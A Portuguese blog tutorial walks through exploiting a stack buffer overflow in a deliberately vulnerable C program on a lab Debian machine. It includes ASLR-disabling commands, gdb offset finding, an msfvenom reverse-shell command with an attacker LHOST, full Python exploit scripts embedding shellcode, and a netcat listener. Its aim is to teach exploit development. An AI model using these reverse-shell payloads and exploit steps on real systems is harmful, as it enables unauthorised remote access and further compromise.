Posts Buffer Overflow - Primeiro exemplo em Linux
Post
Cancel

Buffer Overflow - Primeiro exemplo em Linux

Eu estou aprendendo mais sobre desenvolvimento de exploits e exploração em baixo nível. Decidi escrever este artigo para ajudar pessoas que tem o mesmo interesse. No primeiro exemplo, não vamos habilitar nenhuma proteção no binário, para não dificultar no aprendizado, nos próximos, vou ensinar técnicas de bypass no ASLR e no NX.

Tools

  • Debian 10 (x86)
  • GDB
  • GCC
  • Make
  • Metasploit Framework

Instale no Debian/Ubuntu via apt:

1
sudo apt install gcc make gdb

Desabilite o ASLR

1
echo 0 > /proc/sys/kernel/randomize_va_space

Binário vulnerável

Crie um arquivo com o nome vulnerable.c e cole o conteúdo abaixo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

void vuln_func(char *input);

int main(int argc, char *argv[])
{
    if(argc>1)
        vuln_func(argv[1]);
}

void vuln_func(char *input)
{
    char buffer[256];
    strcpy(buffer, input);
}

Programa extramemente simples em C que recebe um argumento via linha de comando e copia o conteúdo para um buffer com tamanho de 256 bytes.

Compilação:

1
gcc -fno-stack-protector vulnerable.c -o vulnerable -z execstack -D_FORTIFY_SOURCE=0

Exploração

Vamos usar o gdb para analisar o comportamento do software que compilamos.

1
gdb -q vulnerable

No console do gdb, execute o comando para rodar nosso programa e enviar uma sequência de 300 bytes “A”, logo em seguida, vamos analisar o estado dos registradores.

1
run `perl -e 'print "A" x 300'`

No console do gdb, execute o comando para rodar nosso programa e enviar uma sequência de 300 bytes “A”, logo em seguida, vamos analisar o estado dos registradores.

1
run `perl -e 'print "A" x 300'`

GDB

Note que conseguimos controlar o estado dos nossos registradores, todos eles estão com uma série de valores “A” armazenados, mas, o mais importante é que conseguimos controlar o registrador EIP, o EIP é o registrador que aponta para a próxima instrusão que será executada pela CPU. Agora, vamos usar o metasploit para gerar um pattern e encontrar o offset da posição de memória que trigga o buffer overflow.

O metasploit contém dois script: um para gerar uma string com um padrão único para substituirmos o input que fizemos anteriormente e outro para encontrarmos o offset da posição de memória.

O script para gerar a string com padrão único é o msf-pattern_create.rb.

1
msf-pattern_create -l 300

Pattern

Vamos novamente ao gdb, agora, enviaremos a string que foi gerada pelo pattern_create.

Pattern

Encontramos o endereço de memória que trava a execução quando enviamos um quantidade de string maior do que o permitido. Agora é a vez do pattern_offset.rb entrar em ação para encontrar a quantidade real de caracteres que podemos enviar.

Execute o comando abaixo passando como argumento o endereço de memória que encontramos no gdb.

1
msf-pattern_offset -q 6a413969

O retorno do comando foi: [*] Exact match at offset 268.

Bom, agora que temos a quantidade exata de bytes que devemos enviar para triggar o buffer overflow, podemos controlar o EIP para executar o que bem entendermos. Antes de enviarmos nosso shellcode, precisamos encontrar o endereço de memória que usaremos para não quebrar a execução do software.

Use o script abaixo desenvolvido em python para gerar mais uma sequência de caracteres.

1
2
3
4
5
6
7
8
9
#!/usr/bin/python env

fuzz = "A" * 268
fuzz += "BBBB"
fuzz += "C" * 28

with open('payload.txt', 'w+') as payload:
    payload.write(fuzz)
    payload.write('\n')

O script gera um string contendo os 268 bytes “A” que encontramos, mais 4 bytes “B” e mais 28 bytes C. Repare que a conta bate com os 300 bytes que usamos para sobreescrever os registradores.

Pattern

Novamente sobreescrevemos os registradores, mas agora o EIP aponta para um endereço 0x42424242 que são os 4 bytes B que enviamos.

Shellcode

Vamos a parte mais interessante que é onde enviamos um shellcode e ganhamos um shell na máquina alvo. Para gerar o shellcode, vou usar novamente o Metasploit Framework.

Use o comando abaixo para gerar o shellcode.

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.237.65 LPORT=443 -f python -b "\x00\x0A\x0D"

Sendo LHOST a máquina que irá receber o shell da máquina alvo e o LPORT é a porta que nossa máquina irá aguardar por conexões. A flag “-b” remove os famosos bad chars.

Com o shellcode em mãos, vamos encontrar um endereço de memória para nós alocarmos no registrador EIP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python

buf =  b""
buf += b"\xdb\xcd\xd9\x74\x24\xf4\xb8\xf9\xd9\x23\x36\x5d\x2b"
buf += b"\xc9\xb1\x12\x31\x45\x17\x83\xc5\x04\x03\xbc\xca\xc1"
buf += b"\xc3\x0f\x36\xf2\xcf\x3c\x8b\xae\x65\xc0\x82\xb0\xca"
buf += b"\xa2\x59\xb2\xb8\x73\xd2\x8c\x73\x03\x5b\x8a\x72\x6b"
buf += b"\x9c\xc4\x68\x2a\x74\x17\x73\xad\x3f\x9e\x92\x1d\x59"
buf += b"\xf1\x05\x0e\x15\xf2\x2c\x51\x94\x75\x7c\xf9\x49\x59"
buf += b"\xf2\x91\xfd\x8a\xdb\x03\x97\x5d\xc0\x91\x34\xd7\xe6"
buf += b"\xa5\xb0\x2a\x68"

nops = "\x90" * 60

padding = "A" * (268-60-len(buf))

eip = "BBBB"

junk = "C" * 28

exploit = nops + buf + padding + eip + junk

with open('exploit.txt', 'w+') as payload:
    payload.write(exploit)
    payload.write('\n')

Lembra-se de substituir o shellcode do meu código pelo seu, caso contrário o exploit não irá funcionar. Outro ponto interessante, apesar do nosso shellcode ser grande, nós ainda estamos utilizando os 300 bytes do início da exploração.

O script vai criar um arquivo com o nome exploit.txt, o procedimento é o mesmo que fizemos em exemplos anteriores.

1
2
gdb -q vulnerable
run $(cat exploit.txt)

——–image———-

Conseguimos sobreescrever o EIP outra vez, agora ele está apontando para 0x42424242, que são os “B” que enviamos na variável eip. Agora, só precisamos achar um endereço que podemos usar para não quebrar o fluxo do programa e executar o shellcode.

Ainda no GDB, use o comando abaixo para listar os endereços de memória.

1
x/100x $esp-268

Eu vou usar o endereço de memória 0xbffffa24 é importe que você use algum endereço de memória que possui os nops “\0x90” para evitar problemas na execução do exploit.

Vamos usar o mesmo script, mas agora, substituiremos os “BBBB” pelo endereço de memória.

OBS: É necessário inverter a ordem do bytes, os processadores intel usam a notação little-endian para bytes. Então, 0xbffffa24 fica \x24\xfa\xff\xbf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python

buf =  b""
buf += b"\xdb\xcd\xd9\x74\x24\xf4\xb8\xf9\xd9\x23\x36\x5d\x2b"
buf += b"\xc9\xb1\x12\x31\x45\x17\x83\xc5\x04\x03\xbc\xca\xc1"
buf += b"\xc3\x0f\x36\xf2\xcf\x3c\x8b\xae\x65\xc0\x82\xb0\xca"
buf += b"\xa2\x59\xb2\xb8\x73\xd2\x8c\x73\x03\x5b\x8a\x72\x6b"
buf += b"\x9c\xc4\x68\x2a\x74\x17\x73\xad\x3f\x9e\x92\x1d\x59"
buf += b"\xf1\x05\x0e\x15\xf2\x2c\x51\x94\x75\x7c\xf9\x49\x59"
buf += b"\xf2\x91\xfd\x8a\xdb\x03\x97\x5d\xc0\x91\x34\xd7\xe6"
buf += b"\xa5\xb0\x2a\x68"

nops = "\x90" * 60

padding = "A" * (268-60-len(buf))

eip = "\x24\xfa\xff\xbf" #0xbffffa24

junk = "C" * 28

exploit = nops + buf + padding + eip + junk

with open('exploit.txt', 'w+') as payload:
    payload.write(exploit)
    payload.write('\n')

Antes de executar o shellcode, precisamos deixar a máquina do atacante ouvindo por conexões na porta 443.

1
nc -nlvp 443

Agora, execute o script que desenvolvemos para criar nosso exploit.txt.

1
python exploit.txt

Na máquina alvo, vamos executar o exploit dentro do gdb.

1
2
3
gdb -q vulnerable

run $(cat exploit.txt)

——image——-

No primeiro terminal, temos a máquina alvo e no segunda a máquina do atacante, perceba que a máquina do atacante fica esperando por conexões na porta 443, depois que executamos nosso exploit, recebemos um shell reverso da máquina alvo, agora podemos executar qualquer comando, podemos instalar backdoor, rodar outros exploits, etc.

This post is licensed under CC BY 4.0 by the author.
Trending Tags
Contents

Trending Tags